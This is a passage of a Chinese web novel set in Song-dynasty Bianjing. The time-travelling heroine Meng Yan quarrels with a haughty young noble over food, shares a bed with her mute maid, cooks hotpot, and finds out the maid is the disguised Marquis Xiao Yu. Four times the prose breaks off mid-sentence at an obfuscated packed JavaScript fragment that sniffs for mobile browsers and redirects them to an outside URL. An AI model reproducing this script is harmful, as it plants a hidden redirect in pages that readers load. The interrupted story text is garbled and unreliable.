比起王楼的山洞梅花包要小巧精致许多，一笼只有三只，包子褶细密，中间没有孔洞，透过薄薄的外皮可以看到黄澄澄的蟹黄，夹起来一只像摇晃的灯笼，放下后又似轻纱遮面的菊花。 孟嫣夹了一只送入口中，绵绵密密的蟹黄混着汤汁在口中爆开，带着丝丝甜鲜。 古人真实诚，竟放了这么多蟹黄！ 就是吃上这一只让她有些肉疼。 现在已经过了吃蟹的季节，这般口味的鲜蟹黄更是难得，这一只包子就几近三百文，若是让她吃这个吃饱，得几十两银子花出去。 幸好她有理智，只点了两笼，这样她和萧遇尝个鲜，等会儿再点些别的饱腹。 孟嫣一边肉疼一边又满足地吃着，心下又琢磨着还是得赚钱啊！ 正琢磨着，大堂中间几桌传来一阵骚动，孟嫣抬首望去，就见那边似是因为什么争论了起来。 二人对视一眼，齐齐朝那边望去。 堂中食客也齐齐住了声，纷纷竖起了耳朵。 “要我说这旋炙猪皮肉就该蘸盐末才好吃，什么都不蘸有何滋味？” “盐味太重岂不夺了炙肉的焦香？本味才是最佳。” “没滋没味的怎么就最佳？” “焦香不是滋味？” 孟嫣听了听，原来是两桌人在争论这炙猪肉要蘸什么好吃啊！ 其他食客也按着自己的喜好附和起来。 她笑了笑，这也能争论起来？ 这时又一桌食客道：“要我说啊，这炙肉蘸盐末不好，什么都不蘸也不好，最好的是蘸那加了椒油的茱萸酱。” 话音一落，就齐齐遭到了大部分食客的嫌弃：“照你这么吃，口腹中岂不是皆椒萸的麻辣味？还能吃出炙肉味？” 那桌食客被嫌弃了也不以为意，还乐呵呵地夹了一片炙猪肉，蘸了自带的茱萸酱送入口中，十分享受地吃了起来。 那两桌人又继续争论开去，不知怎么的，就争论到了粽子。 蘸盐的那桌说，栗粽自然要加大燠肉，栗子和糯米里有了肉香才味佳。 什么都不蘸的那桌却道，栗粽要和胡桃、松仁辅以蜜浆或蜜枣方为佳，加燠肉要如何入口？ 孟嫣听后忽而笑了起来，原来是甜咸之争啊！这的确能争论起来。 每逢端午，现代粽子是咸是甜争论的也热火朝天呢！ 正笑着，就听蘸椒油茱萸酱的那桌幽幽地来了一句：“不好，不好，栗粽配赤豆、川椒才为最佳。” 孟嫣“噗嗤”一声又笑了出来。 不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006665|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问，这个开口不离川椒的十有八九是巴蜀人。 萧遇看了过来，不知这有什么好笑的。 孟嫣悄声问道：“你喜欢什么口味的粽子？” 萧遇在桌上写了个“蜜”。 原来喜欢甜粽。 萧遇又以眼神问孟嫣。 孟嫣喝了一口冰冰凉凉的荔枝膏，笑笑道：“除了白水粽，其他的我都喜欢，不止如此，我还喜欢加了绿豆、海鲜、盐蛋黄、甚至是腊味的粽子。” 萧遇第一次露出了难以置信的嫌弃表情，似是在说，这些东西加进去能吃？ 孟嫣挑了挑眉：“端午时，我做一些来，你可要尝尝？” 萧遇露出一副敬而远之的神色。 孟嫣又好笑地笑了笑。 这时，又一道声音从楼梯口处传来：“栗粽自然加蜜浆、蜜枣为佳，岂能加油咸的燠肉？果真是穷州僻壤来的，饮食也腌臜粗陋！” 话音一落，堂中安静下来。 孟嫣循声望去，就见楼梯口处站着一位身披青色披风，手摇折扇之人，那面孔隐隐有几分熟悉，不就是前阵子在潘楼街拦路让喻淑兰道歉的房世子？ 孟嫣难得翻了个白眼，撇了撇嘴低声同萧遇道：“大家争辩的是个食物口味，这房世子一来就人身攻击，真是不讲武德。” 孟嫣声音本来不大，可此时大堂里太过安静，这道声音就十分突兀了。 众食客的目光齐齐朝孟嫣的方向看来，房世子手中正摇的折扇也停了下来。 孟嫣：…… 房世子合上折扇，高声道：“谁在说话？” 孟嫣坐的位置正好被楹柱挡住，恰恰遮住了房世子的视线。 孟嫣轻拍了一下自己的这张嘴，上次还告诫自己谨言慎行呢！这才多长时间，被人抓了个现行。 孟嫣头大地看着萧遇，轻问“要不要跑？”的时候，房世子已经绕过楹柱走了过来。 他将孟嫣上上下下打量一遍，最后目光放在她脸上，手中的折扇一下一下敲在手心，问：“怎么？这位小娘子觉得我说的不对？” 孟嫣脑中只浮现出“完了”两个字。 她怯怯地看了房世子一眼，闭了闭眼，索性不管不顾道：“房、房世子吃的再精贵雅致，拉的不也是屎吗？” 所有人：…… 房世子面色皲裂开来，第一次在一个衣着不俗的小娘子口中听到了“屎”这样的字眼，简直粗鄙！ 孟嫣彻底豁出去了，又接着道：“既然拉的是屎，那房世子自然也是人，大宋子民同样都是人，房世子何必自觉高人一等？” 虽然她十分清楚，古代就是分三六九等，可她话已出口，就没有收回去的道理。 所以她再接再厉：“世子身上穿的锦缎，写字用的笔墨纸砚，吃的海蟹鱼虾，甚至汴京人人最喜食的羊肉，不都是世子口中穷州僻壤来的？既然世子这么瞧不起汴京之外的地方，为何还穿、还用、还吃？” 房世子脸色沉了下来。 孟嫣仿佛没看见一般，越说越顺，继续嘲讽道：“那些得了好处不知感恩的人尚且是端起碗来吃肉，放下筷子骂娘，房世子更了不得，碗还端着呢，就骂起娘来了。若是世子还要这张面皮，不如从今日开始，就光着来去，也别吃那些羊鱼虾蟹，这样也能让大家高看世子一眼！” 孟嫣说完，给萧遇使了个眼色，站起身来，神情倨傲地迅速离开。 31. 夜话 和乐楼二楼，两名女眷对视一眼。 那日丰裘阁的伙计说她是刚迁调入京的三司户部使喻使官之女喻淑兰，她们惊异于喻家竟能弄来这顶级的白狐皮料子，还能这般大张旗鼓地穿着在汴京四处闲逛。 要知道，顶级的白狐皮可不是什么人都能有的。 要么是官家赏赐，要么是自己买来的。 若是自己买来的，可也不是说穿就能随便穿的。 她们便将喻淑兰有一件顶级的白狐皮斗篷一事告诉了几位交好的闺秀。 没几日，各府女眷就都知道了。 恰好永安公府设宴赏梅，相传还是为了见喻淑兰一面才专门设的此宴。 收到邀帖的各府女眷极其好奇，都想一睹喻淑兰是何模样，自然也不乏有人露出攀附结交之意。 然而让各府女眷失望的是，赏梅宴那日，喻淑兰并未穿那件顶级狐皮斗篷。 她二人和永安公府没有往来，自然也没收到邀帖，听闻此事后大感诧异。 房世子拦路要喻淑兰道歉一事她们也有所耳闻，以当日的情形，喻淑兰显然也是动了芳心，怎会不穿那件顶级的狐皮斗篷赴宴？ 而刚刚见喻淑兰和房世子二人似是并不相识，如此，她究竟是何人？ 而这边房世子似是才反应过来，阴沉的面色已经敛去，望着孟嫣离开的方向，露出一抹意味不明的神色。 孟嫣和萧遇二人上了马车后，整个人垮了下来，她心有余悸地拍了拍胸口，口中念着：“吓死我了！吓死我了！” 萧遇挑了挑眉，还以为她胆子多大呢！ 孟嫣从车窗朝后望了一眼，忐忑道：“房世子不会让人暗中跟着我们吧？让人把我抓起来，动用私刑打击报复？” 孟嫣越想越觉得会，懊恼地又拍了拍自己这张嘴。 又念叨了好一会儿，孟嫣骤然安静下来，低垂着眼眸，不再说话。 萧遇拉过她的手心，写道：怕了？ 孟嫣没什么反应。 萧遇拽了拽她的衣袖，又写：怎么不说话？ 孟嫣抬起眼，看着萧遇，煞有介事道：“我在复盘。” 萧遇目露困惑。 孟嫣：“我从小到大都不曾和谁争辩过，更没吵过架，也没红过脸。” 她声音小，争辩不过，更吵不过，很多时候都是自己默默消化。 孟嫣一时忘了刚刚的忐忑，眼睛晶亮：“没想到，和人吵架竟是这种感觉，有那么一点点痛快，所以我复盘一下，刚刚我说的哪句话直击要害，哪句话不够犀利，下次若是再吵架，可以精进一下说辞。” 萧遇：…… 只是孟嫣复盘了一遍后，又记起了房世子极可能打击报复一事，心底再次忐忑起来。 孟嫣眉心蹙起，道：“你说，我去找长宁侯……请他庇护我如何？” 没等萧遇有什么反应，她叹声否定道：“长宁侯怎会庇护我一个升斗小民？” 说完整张脸都皱了起来。 萧遇定定看了她片刻，写道：可以去试试？ 孟嫣给了他一个“想什么美事”的眼神。 孟嫣的确生出几分后悔，嘲讽房世子一时痛快了，可她的好日子可能也要到头了。 带着这种忐忑心情，孟嫣吃饭都没了什么胃口，天色才将将暗下来，她就洗漱进了被窝。 是夜，萧遇清洗了面妆回来，刚抱起被子正要出去，就听一道迷迷糊糊地声音：“你回来了？” 萧遇微微一顿，偏头朝床上看去。 月色如水，洒下一片朦胧，只能看见床上拢起一道浅影。 孟嫣疑惑：“怎么不上来睡？” 说着拍了拍旁边的地方，拍着拍着倏尔一顿，手又在外榻上来回抓了抓，孟嫣拢着被子半坐起身：“你的被子呢？” 萧遇只好走了回来，将被子拢成团放在床尾，借着昏暗的光线，微微躬身，找到孟嫣的手心，写道：湿了。 白日里，孟嫣也是看着他在自己手心写字，才知萧遇写了什么。 此刻室内光线昏暗，就连萧遇她也只能看清个轮廓，更别说看清他在她手心写了什么。 孟嫣：“你慢些写。” 攥着她手的萧遇顿了顿，重新缓缓写下：湿了，我去外面睡。 孟嫣将他写的字连在一起，明白了萧遇写了什么。 只是她疑惑道：“怎么还湿了？” 说着还仰头看了看萧遇高高大大的身影，应该不是尿床吧。 萧遇沉默一瞬，又缓缓写道：喝水没看清，绊了一下。 孟嫣不知他是怎么绊的，还将水洒在了被子上，但天寒地冻的，也不能让他去外面睡就是了，尤其还盖着湿被子。 孟嫣：“那把被子放椅子上吧，上来，我们盖一床。” 说着孟嫣就把自己被子分出去一半。 被子宽大，盖两个人绰绰有余，何况还有一张狐皮毯。 萧遇又沉默了。 孟嫣打了个哈欠，软绵绵催促道：“快些，晚上这么冷，你要盖着湿被子去外面的架子床上睡不成？明日想让我照顾你吗？” 萧遇又顿了顿，默默将被子放在了椅子上，慢吞吞挪上了床，拽过被子一角，搭在了身上。 孟嫣在被窝里摸了摸，将放在中间的两只汤婆子一只放在了榻里侧，一只让萧遇拿到外侧，这样两边不至于冷到。 折腾完这些，孟嫣终于安静下来。 旁边这俱身体热烘烘的，比汤婆子还暖和。 孟嫣不由自主地往萧遇身边靠了靠。 萧遇身子微微一僵，呼吸也重了几分。 孟嫣第一次和人盖一床被子，竟没有意想中的不自在，相反，却总想再靠近一些。 可能是因为天冷，他身上又暖和的缘故吧。 孟嫣如是想。 此时，孟嫣已经没了睡意，白日里发生的事再度来袭，让她生出几分焦虑。 孟嫣拽了拽萧遇的衣袖，轻声开口：“汴京城里，若是得罪了那世家高门，会有什么下场？” 见萧遇没什么反应，听呼吸明显没睡。 孟嫣便摸索到萧遇的手，将手放入他手心，又带着搭在他的腰腹，方便他写字。 萧遇的腰腹蓦地绷紧了。 良久，萧遇才在她手心缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011636|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写道：下场不好。 孟嫣心底蓦地收紧：“有多不好？” 萧遇没再写。 汴京高门明面上顾忌着律法不敢对市井百姓做些什么，却架不住以其他手段欺凌逼迫让其走投无路，只是这要是说起来也不是一句两句能说得清的。 不过，有他在，他是不会让房世子做些什么的，可这同样不能说出来。 萧遇斟酌了下，正要让她无需害怕时，就听孟嫣长长地叹了口气：“若是他日，房世子真的找上门来，要报复于我，你便自行归家去吧，那箱笼里有些银钱，你将那锁砸开，一并拿走就是，那些银钱应该能让你好好生活上一阵子。” 萧遇莫名地攥紧了她的手，写道：那你呢？ 孟嫣沉默了一会儿，忽而轻笑：“我在这里孤身一人，无依无靠，即便没遇见今日这事，日后独活也有些困难。” 孟嫣侧过身面向萧遇，将脸往被子里埋了埋，闷声道：“我这个人，特别特别懒，和这里的百姓比，也算是娇生惯养了，我不能吃苦，更受不得折磨，若是他日我真要经历这些，我会自行了断。” 自行了断，没准就可以死回去，回到现代，继续按部就班的生活。 那时，她可能不会再日日宅在家中，会多出去走走转转，感受一下人间烟火。 只是，自行了断，不一定就能死回去罢了。 萧遇一时说不清什么滋味，似是被孟嫣这翻言论震撼到了。 她的父母不知用了什么法子，费尽心力将她送出明州，就是想让她好生地活下去，她怎么能这么轻易地说“死”之一事？ 萧遇缓缓起手，在她手心一笔一划写下“父母”二字。 你这样对得起你父亲母亲吗？ 孟嫣久久没有出声，就在萧遇以为她不会说什么了的时候，她将脸从被子里露出来，翻身仰面躺着，缓缓道：“我不太记得他们了。” 原身的父母，她本就不知道是谁。 她自己的父母，也有许多年没见过了。 所以，即便回到现代，她依旧孤身一人，不同于这里的是，女子独身一人在现代活着会容易许多，也能活的很好。 萧遇却再一次被震撼。 “不太记得”是什么意思？ 是因为伤心过度不愿想起？还是受的刺激太大忘记了？ 那……那笔财宝呢？还记得放哪里吗？ 萧遇心思百转千回，良久才想起再细细问上一问，却见孟嫣已经睡着了。 睡着的孟嫣不像醒着时候那般老实，一个翻身，额头抵住了他的肩头，一条胳膊和腿横搭过来，整个人都紧紧贴在了他的身上。 明明看起来那般纤弱，可身上却肉却不少，软乎乎的。 清浅的呼吸一下一下打在他的手臂，萧遇有些心浮气躁，却也愈发清醒。 他缓缓朝外挪了挪身子，打算起身去火阁外的架子床上。 孟嫣的身体却紧跟着贴了过来，搭在他身上的手臂和腿还紧了紧，似是不满他要离开一般。 萧遇不动了，那条手臂才放松下来。 萧遇轻轻呼出一口气，缓缓闭上了眼睛。 32. 川饭店 次日天刚微亮，萧遇便小心翼翼地拨开孟嫣，屏气凝神地下了榻。 迅速穿上衣裳后，骤然看见了堆放在椅子上的被子。 他默然片刻，倒了半盏茶在上面，这才出了火阁。 一连几日，孟嫣都滚到了萧遇的被窝。 也是一连几日，林檎和戍安发现自家侯爷晚上出来清洗面妆的时辰越来越晚，次日醒来练武的时辰却越来越早。 平日里练武后，萧遇都会用温水擦身，这几日直接用冷水淋了上去。 林檎看的直哆嗦，却也连夸侯爷威武！ 萧遇却暗暗叫苦，倍感煎熬。 被他倒了半盏茶的被子被火炉烘烤一日就已经干了，当晚二人又各自睡在了自己的被窝。 可孟嫣却在睡着后又无意识地拱了进来，还堂而皇之地将他抱了个满怀。 他稍微一动，睡梦中的孟嫣就会不满地将他抱得更紧，甚至整个头都埋进了他的颈窝。 每每此时，他一动都不敢动，闭眼默诵兵法，直到孟嫣睡暖睡沉，他才轻手轻脚地起身去让戍安清洗面妆。 回来后，本想抱着被子再去火阁外的架子床上安置，孟嫣却连续三日在他回来时醒了过来，拍着旁边让他上来快睡。 等她睡着，就又拱进了他的被窝，手脚并用地扒在了他身上。 萧遇只能继续默诵兵法…… 孟嫣这阵子夜里睡得非常香，可白日里心底却不停地打鼓，不知哪一日会被房世子找上门来。 自然，出去吃饭也不敢再往马行街一带去了，更不敢再穿那件狐皮斗篷，生怕一眼被房世子或他的人认出来。 肉眼可见地，她的话变少了。 萧遇自然也发现了孟嫣的变化，只是他又不能自爆身份告诉她不用怕。 于他而言，没有什么比收复燕云更要紧的事。 官家好不容易松口允他收复燕云，只要他能自行凑齐军饷…… 孟嫣虽然话少了，却也没忘了吃。 天大地大，吃饭最大。 不能去马行街虽有些遗憾，州桥一带的吃食也一样能满足于她。 这几日，她发现了几家川饭食店，里面有各色面食和生熟烧饭，无一例外的招牌皆是大燠面。 大燠面，即把面煮制入味，调个汤底，最后再淋上熬煮的肉臊或烧制的其他浇头。 只不过川饭食店里的大燠面多是油香椒麻味道重一些，还会配以椒油和茱萸酱，依食客口味自行调和。 孟嫣没忍住向这几日常去的一家叫“冯六川饭”的店主推荐了耙豌豆。 若是将豌豆煮制软烂，和肉臊一起浇在面上，就和现代的重庆豌杂面几近相同了。 她喜欢耙豌豆的绵密口感，和肉臊一起拌着椒麻油香的面条，吃起来别提多满足了。 店家冯六也是好吃之人，听孟嫣一说，没两日就做了耙豌豆出来。 过几日孟嫣再过来，就先吃了一惊。 冯六的铺面不大，里面只有四张桌子，此时都坐满了人不说，就连铺子外面也加了桌凳，每人捧着一碗面，热火朝天地吃着。 冯六见孟嫣过来，就立即乐呵呵地给她和萧遇做了两碗豌杂大燠面。 孟嫣和萧遇在外面寻了张桌子坐下，几口下来就眉开眼笑，连声夸“好吃”。 冯六这几日也乐的合不拢嘴，加了耙豌豆的大燠面一出来，食客口口相传，店里的生意都翻了几倍。 像他们这样的川饭食店都椒香麻辣，重油重盐，几乎都是巴蜀来京做官或来京谋生的食客来吃，汴京本地人口味清淡，来吃川饭的其实并不多。 这几日因耙豌豆的缘故，不少汴京本地的食客也前来尝鲜。 冯六就根据他们的口味，减了些油盐椒麻，再用耙豌豆这么一调和，却意外地合了他们胃口，过来吃面的食客越来越多。 奈何他铺子太小，只有四张桌椅。 食客却不甚在意，捧着碗寻个地方站着或蹲着就把面吃了。 冯六见此，连夜去买了桌凳设在外面，总不能怠慢了客人去。 是以，孟嫣吃完要付银子时，冯六就笑呵呵阻止了，还道：“小娘子的耙豌豆，让我店里的生意翻了翻，冯六感激，日后只要小娘子过来吃饭，就无需银子。” 孟嫣推辞，这怎么行？ 市井百姓谋生本就不易，她又岂能白吃？ 冯六却虎了脸：“若是小娘子定要付银子，那冯六今后不做耙豌豆就是了，我冯六可不是白沾光不回报的人。” 孟嫣一听，就不再推辞，以后少来白吃几次就是了。 回到小甜水巷后，萧遇先煮了茶，然后写道：若你不想接受他的好意，还想常去吃饭，可以让他付一笔银子给你，权当买了你的这耙豌豆的主意。 孟嫣却笑笑：“市井百姓本就赚钱不易，即便现在他店里食客翻了几翻，可一碗十五文的面又能赚几个钱？” 茶汤滚沸，孟嫣给二人分别倒了一盏，她捧起茶盏，暖着手又道：“何况，我推荐他做耙豌豆，也是为了满足我自己的口腹之欲，而非要赚什么银子。” 午后的阳光透过窗棂，拂在她蓬松柔软的发髻上，落在她含笑的眉眼间，将那浅浅的梨涡也染得温热。 隔着袅袅茶烟，萧遇看见她眼尾弯起，带着一丝俏皮，目光又如山中融雪，柔和又干净，眼睫翠着浮光缓缓眨了眨，就这样轻轻地拨在了他的心头。 转眼，就到了冬至，汴京又落了雪。 冬至这日，无论达官显贵还是百姓平民，都要更换新衣，备好酒食，祭拜先祖。 萧遇也要回长宁侯府一趟。 他第一次同孟嫣告假，也第一次有几分不放心。 临走前，让林檎在小甜水巷外安排了跑腿之人，若是孟嫣要出门买什么，都可吩咐他们去做。 他也将此一一写在了纸上，告诉孟嫣，这些都是他的相熟之人，可以放心让他们去采买，又叮嘱她，雪天路滑就不要独自出门了。 面对他的殷殷叮嘱，孟嫣笑着应下，心底升起几分暖意，她从不觉得这样的叮嘱啰嗦，于她而言，这十分难得。 自奶奶离世后，就再也没有人这样关心唠叨过她了。 只是萧遇离开后，整座小院都冷清起来，孟嫣望着漫天飞雪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014842|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定今日吃红油火锅！ 她拿了银钱，请萧遇相熟之人帮她采买了些食材，然后不疾不徐地准备起来。 有了萧遇这个女使，孟嫣已经不再觉得煮饭麻烦。 做菜时他能搭把手，饭后洗碗又都无需她沾手。 如此，闲暇时，她也乐的做上几道爱吃的菜。 红油火锅最麻烦的就是炒制底料，需要将种种香料慢慢熬煮。 只是今日孟嫣只能用菜籽油熬煮红油底料了，因为很难买到牛油。 古代耕牛是农耕命脉，私自宰杀会触犯律法，只有老死伤病的牛才可以在市面售卖，且需官府审验，发放文书才行。 清油熬煮的红油底料虽比牛油少了几许醇厚，味道却也不差。 今日只有孟嫣一个人，却也抵挡不住红油的麻辣香味从厨房飘出。 留守在隔壁院子的林檎猛吸一口，瞬间被呛咳出眼泪来，却也忍不住口舌生津。 孟小娘子这又是做什么好吃的呢？ 他爬上墙头，伸着脖子张望，恰好赶上孟嫣从厨房出来。 孟嫣也见到了许久没见的林檎，笑着打了声招呼，又问：“这阵子怎么没见你家吴郎君？” 林檎又吸了吸鼻子，嘿嘿笑道：“我家郎君已经授官去了江南，这边还有些事情要做，就让我留了下来。” 孟嫣点了点头，原来已经去了江南。 林檎却又嘿嘿一笑，问道：“小娘子今日做了什么好吃的？” 孟嫣笑了笑，道：“做了火锅，林小郎君可曾吃过？” 林檎听都没听过，哪里又能吃过？ 孟嫣遂笑道：“那等会儿做好了，林小郎君过来一起吃吧！” 火锅要人多吃才热闹。 林檎忙不迭地重重点头，还十分有眼力见地问道：“小娘子可需要我帮忙做些什么？” 孟嫣摇了摇头。 买回来的猪羊兔肉、毛肚黄喉都已经让店家处理切好，各类菌菇蔬菜也已经洗好，没什么能做的，现在就等底料熬煮透就可以吃了。 只不过让孟嫣遗憾的是，没有她爱吃的小酥肉和各种鱼滑、虾滑，现在做要废上不少功夫，只好等下次萧遇回来时再一起准备了。 不过虽然没有这些，她却单独买了一些卤过的猪羊蹄和鸡爪，现在正在砂锅里继续小火煨着，等下用来涮火锅，也十分美味。 林檎见没什么事他能做，却也没下去，就一直趴在墙头，眼睛瞅着厨房。 孟嫣则去将锅和九宫格洗了洗，又把炭炉拿出来放去了堂屋，放在她专门定做的、用来吃火锅和烤肉的桌子中间的炉洞里。 桌子靠近门窗，以免炭火不完全燃烧导致一氧化碳中毒。 做完这些，底料也熬煮地差不多了。 她朝林檎招招手，示意他可以了。 林檎咧嘴一笑，径直从墙头一跃而下。 孟嫣：……前几次还走门呢！ 孟嫣让他将炭炉生上，再将几大盘肉蔬一一端去堂屋，满满当当摆了一桌子。 炭炉刚生好，却见小院的门开了，萧遇踏着雪一步一步地走了进来。 33. 我养你吧 见到自家侯爷，林檎先是惊讶，没想到侯爷这么快就回来了，随即咧嘴一笑，眼神瞟着火锅，示意侯爷，今日他们又有口福了。 萧遇则淡淡暼了他一眼。 只是他身着女装，眉眼又被头帘遮住，这一眼丝毫没有什么威慑。 林檎依旧欢欢喜喜地盯着已经开始渐渐沸腾的火锅。 孟嫣让萧遇去洗手，自己则用蒜泥调了三只香油蘸碟。 等开吃前又告诉二人，若是觉得味道不够，可以自行再加些其他调料。 红汤滚滚，阵阵椒麻香味升腾而出。 孟嫣将肉蔬下到不同的格子中，那微微烫过就熟的毛肚黄喉薄切肉类，要精准地掌握着时间，否则烫的过老就失了口感。 烫过的毛肚微微打了卷，孟嫣用公筷捞出，分到三人的碗中。 林檎盯着挂满红油的毛肚，咽了咽口水，蘸过油碟又送入口中，清脆的口感香麻的味道，辣的他一边斯哈一边忍不住连声夸赞，接着又夹了一筷子肉送入口中。 汴京也多食肚肺之类，不过多为卤制或做成汤羹，比如食肆常见的金丝肚羹、石肚羹之类，皆是吃其清鲜，且多重胡椒之味。 这般让人欲罢不能的味道还是头一次吃。 萧遇吃的就安静多了，即便也觉得又麻又辣，却也没像林檎那般斯哈不停，要不是他一口接一口的吃，甚至看不出这红油火锅是不是合他口味。 孟嫣又将一份薄切兔肉下到锅中，心里默算着时间，正要捞出，就被萧遇接了过去。 去吃。 萧遇口型道。 说完第一筷子兔肉就放到了孟嫣的碗中。 然后才慢条斯理地捞出第二筷子，放入自己碗中。 林檎端着碗，眼巴巴地看着自家侯爷，等着第三筷子捞给自己。 萧遇只给了他一个“自己涮”的眼神，就将第三筷子兔肉又捞到了孟嫣碗中。 然后将羊肉下入锅中，依旧如分兔肉一样，只分给了自己和孟嫣。 林檎：…… 吃到过半，孟嫣猛然想起锅里的蹄爪，赶紧让二人捞出来吃。 此刻，蹄爪已经煮到软烂，轻轻一抿，骨头就下来了，卤香带着麻辣，糯糯地吃了满口。 三人吃的热火朝天，吃到最后，孟嫣方想起之前买的乳酪酒还没喝。 她取出温酒注子，萧遇取来热水，将乳酪酒温上。 林檎看着二人，莫名觉得自己有几分多余，他默默地又给自己涮了两盘肉，他一定要多吃一些，左右这洗碗洗锅的活计定然又落到他身上。 直到灯烛燃起，方知天色已经暗了。 窗外依旧落着雪，渐渐将屋檐树梢染上一层银白。 乳酪酒如店家说的一样温和，冬日喝上一盏十分暖身。 只是温和，不代表不易醉人。 孟嫣又喝醉了。 只不过这次没有昏睡过去，而是呆呆地望着酒注子出神。 林檎将碗洗了，已经回了隔壁。 萧遇安静地陪在孟嫣身边。 落雪压弯了细枝，簌簌地掉落着星子似得碎末。 今日冬至，她也在思念她的双亲吧？ 萧遇无声地望着她，心底起了万般滋味。 孟家遭难时，她被父母不知用什么法子送了出来，而后，她连亲手安葬他们都不能…… 想到这里，萧遇忽而顿了顿，她为何不能亲手安葬他们？ 灭门孟家的匪寇早已经被明州知州楼文靖带兵剿灭，那她自然可以回明州将双亲好生安葬。 可她并没有，而是一直拖着纤弱的病体隐姓埋名般的生活在这座小院，直到孟家一事无人再提起，她才开始正常生活，却也从未提起过双亲。 思绪翻转间，他骤然想到那日夜里，她静默良久才说出的那句“我不太记得他们了”这句话。 当时他还以为她是伤心过度不愿想起，抑或受的刺激太大忘记了，现在看来，是不是有什么隐情不能让她记得？让她必须忘记？ 萧遇倏尔坐直了身子，目光锐利起来。 而孟嫣此刻虽然看上去沉默的正在发呆，实则脑子里正在无意识地算账。 算算这不到两个月的时间，已经花了多少银子。 这不算不知道，这一算起来，孟嫣脑子愈发清醒。 她难以置信地算了一遍又一遍，最后径直站起身来，微微打着晃奔向了次间的两只箱笼。 她从袖袋中摸出钥匙，试了好几次才将一只箱笼的锁打开，拉开箱笼的门，孟嫣彻底呆住了。 满满当当一箱笼的铜钱，此刻只剩下零零散散的几串，孤零零地堆在箱笼一角。 萧遇不知发生了什么，在孟嫣起身的刹那，也跟了过来。 此刻见孟嫣对着几近空了的箱笼发怔，以为是少了什么重要的东西。 是她父母的遗物吗？ 他不记得箱笼里有这些。 萧遇缓缓蹲下身来，手掌轻轻抚了抚她的头以作安慰，希望她可以少一些伤怀。 孟嫣缓缓回神，侧首望着蹲在她面前的萧遇，记起了这两个月来，二人不是去这家酒楼，就是去那家食肆，她自己本就能吃，可萧遇竟比她还能吃！ 她悲从中起，委屈巴巴道：“我养不起你了。” 抚在她发间的手掌倏尔顿住。 灯烛摇曳，留下明明灭灭的暗影。 四目相对，似是过了许久，又似是只过了须臾。 喉结滑动，萧遇终于出声：“我养你吧。” 细枝被雪压断，发出极轻的一道“吱嘎”声，随即又悄无声息地落入雪中。 孟嫣缓缓回神，似是才被惊醒，眼睛渐渐睁圆，一眨不眨地望着萧遇刚刚开合过的嘴唇。 她惊疑不定地喃喃出声：“你、你会说话？” 萧遇默了默，低低地“嗯”了一声。 孟嫣已然彻底回神，瞳孔震惊道：“你、你竟然会说话？！” 萧遇没想到孟嫣第一时间只注意到了他会说话，却没去想他是谁？又为何要装哑巴扮女使接近她？ 防备心太差了。 然而，萧遇却还是顺着她的话开口道：“是，我会说话。” 孟嫣这才注意到他的声音也带着几分怪异。 她站起身来，磕绊着往旁边挪了两步。 萧遇也随着起身，伸手去扶，却被孟嫣避开。 孟嫣站稳后，隔着两步远上下打量着他，一边眉峰微微蹙起，犹疑道：“你的声音听起来……怎么像个男人？” 萧遇心底无声笑了开来：“我就是男人。” 孟嫣再次惊疑不定，又将他上上下下打量了一通。 身形巍峨高大，的确女人少有。 可他那张脸皮肌肤细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019254|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腻，加上算得上清俊的样貌，怎么看都是女子，再者，他又没有喉结。 孟嫣犹不可信，惊疑复问：“你真是男人？” 问完直勾勾地盯着他看起来是颇为平坦的胸，随即目光下移，盯在了他被裙裳遮挡的胯间。 萧遇：…… 他上前两步，当着孟嫣的面，撕下一片肤色软皮，露出凸起的喉结，然后又将头帘摘下，露出一对剑眉和一双伪装过的狭长凤眼。 看到那劲挺的喉结，孟嫣终于相信和她相处了两个月女使真的是个男人，同时，她也终于看清了他上下违和的一张脸。 孟嫣：“那……你是谁？” 萧遇：“长宁侯，萧遇。” 孟嫣瞳孔又震了震，声音都有些劈叉：“你是长宁侯萧遇？” 萧遇颔首。 